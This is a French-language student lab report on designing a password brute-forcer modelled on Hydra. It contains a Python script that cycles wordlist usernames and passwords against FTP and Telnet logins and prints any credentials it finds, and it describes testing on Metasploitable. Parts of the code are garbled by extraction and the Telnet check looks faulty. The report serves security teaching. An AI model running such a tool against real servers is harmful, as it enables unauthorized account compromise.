REPUBLIQUE DU CAMEROUN
PAIX- TRAVAIL- PATRIE
INSTITUT SAINT JEAN
Année académique 2023-2024
NETWORK SECURITY REPORT
Thème :
CONCEPTION ET REALISATION
D’UN BRUTEFORCEUR
Rédigé par : Examinateur :
YOUMSSI TAMKO M. MAHAMAT M.
TALLA LINDA
BADEBANG KOTTI
MANDU FARIDA
ABABOUKAR MAHAMAT
I- BUT DU TP :
Le but de ce TP est de concevoir un outil calqué sur le fonctionnement de HYDRA disponible
dans kali linux et qui est un bruteforceur de protocoles.
II- ETUDE DU FONCTIONNEMENT DE HYDRA :
Hydra est un crackeur de mot de passe réseau supportant les protocoles suivants :
TELNET, FTP, HTTP (GET, HEAD, PROXY, PROXY-NTLM, FORM-GET, FORM-POST,
HTTPS-FORM-GET, HTTPS-FORM-POST) LDAP2, LADP3, SMB, SMBNT, MS-SQL,
MYSQL, POSTGRES, POP3-NTLM, IMAP, IMAP-NTLM, NNTP, PCNFS, ICQ, SAP/R3,
Cisco auth, Cisco enable, SMTP-AUTH, SMTP-AUTH-NTLM, SSH, SNMP, CVS, Cisco AAA,
REXEC, SOCKS5, VNC, POP3, VMware-Auth, NCP, Firebird et depuis la version 7.5 mysql
module protocol 10.
SYNTAXE GENERALE DE HYDRA :
hydra -l/-L [user] -p/-P [pass] [@IP] [protocole]
On peut donc voir que les paramètres demandés par hydra sont un username (-l) ou une liste de
usernames (-L), un password (-p) ou une liste de passwords (-P), une adresse ip et un protocole
(ssh, ftp, telnet,), notre script devra donc se servir des memes entrées pour tester différentes
combinaisons de mots de passe sur un protocole
Le langage que nous avons choisi est le python car il possède des bibliothèques qui permettent de
communiquer avec nos différents protocoles à travers des sockets.
III- REALISATION DU SCRIPT :
Nous nous sommes concentrés sur les protocoles ssh, telnet et ftp pour l’instant.
1- Bibliothèques utilisées :
*paramiko :
Paramiko est une implémentation purement Python du protocole SSHv2, fournissant à la fois des
fonctionnalités client et serveur. Il constitue la base de la bibliothèque SSH de haut niveau, qu’il
est recommandé d'utiliser pour les cas d'utilisation courants des clients, tels que l'exécution de
commandes Shell distantes ou le transfert de fichiers.
*ftplib :
La classe FTP implémente le côté client du protocole FTP. On peut l'utiliser pour écrire des
programmes Python qui effectuent diverses tâches FTP automatisées, telles que la mise en miroir
d'autres serveurs FTP. Il est également utilisé par le module [Link] pour gérer les URL
utilisant FTP. Il est décrit dans la norme RFC 959.
*telnetlib :
Le module telnetlib fournit une classe Telnet qui implémente le protocole Telnet. Voir RFC 854
pour plus de détails sur le protocole.
2- script python :
import ftplib #on importe la librairie ftp
import telnetlib # on importe la librairie telnet
import paramiko # on importe la librairie paramiko
#import smtplib
from colorama import Fore, init # on importe la librairie colorama pour g"rer les couleurs dans la
console
def ftp_brut(host,username,password): # fonction pour bruteforcer le ftp
server = [Link]() # on crée un objet serveur de la bilbiothèque FTP()
print(f"[!] Trying",username,":",password) # pour afficher le username et le password courant
[Link](host,21,timeout=5) # on assaye de se connecter à notre target (host)
try:
[Link](username,password) #on teste des credentials
except:
return False # retourne faux si les credentials sont incorrects
else:
print(f"{[Link]}[+] Found credentials:", password, [Link])
print(f"\tHost: {host}") # on affiche les credentials découverts avec la couleur verte
print(f"\tUser: {username}")
print(f"\tPassword: {password}{[Link]}")
return True # retourne vrai lorsqu'une cominaison est trouvée
def telnet_brut(host, username,password): # fonction pour bruteforcer le telent
tel = [Link](host, 23, timeout=5) # on crée un objet Telnet() et on se connecte à notre
target
print(f"[!] Trying",username,":",password)
tel.read_until(b"login:") # on lit les informations envoyées par le serveur et de détecter la
demande du login
[Link]([Link]('ascii') + b"\n") # permet de renseigner le login à traver le socket
ouvert plutot socket
tel.read_until(b"Password:") # on lit les informations envoyées par le serveur et de détecter la
demande du mot de passe
[Link]([Link]('ascii') + b"\n")# permet de renseigner un password à travers le socket
crée plus haut
if (tel.read_until(match=b'incorrect')): # si les credentials sont incorrects
return False
else:
print(f"{[Link]}[+] Found credentials:", password, [Link])
print(f"\tHost: {host}")
print(f"\tUser: {username}")
print(f"\tPassword: {password}{[Link]}")
return True
host = input("entrez l'adresse du serveur : ") # on demande à l'utilisateur d'entrer la cible
port = int(input("entrez le numero de port : ")) # on demande à l'utilisateur de fournir le port
# on lit les dictionnaires d'utilisateurs ey de mots de passe
passwords = open("/home/tamko/Documents/python scripts/[Link]").read().split("\n")
usernames = open("/home/tamko/Documents/python scripts/[Link]").read().split("\n")
print("[+] combinations to try:", len(passwords)*len(usernames)) # on affiche le nombre de
combinaisons à try
for password in passwords:
for username in usernames:
try:
if port==21: # si c'est le port 21 (ftp) qu'on attaque
if ftp_brut(host,username,password):
break
elif port==23: # si c'est le port 23 (telnet)
if telnet_brut(host,username,password):
break
except KeyboardInterrupt:
break
3- test du script:
* FTP :
On va se servir de METASPLOITABLE pour attaquer le port :
* TELNET :
Malheureusement le SSH ne marche pas encore, dû à des erreurs dans la bibliothèque paramiko :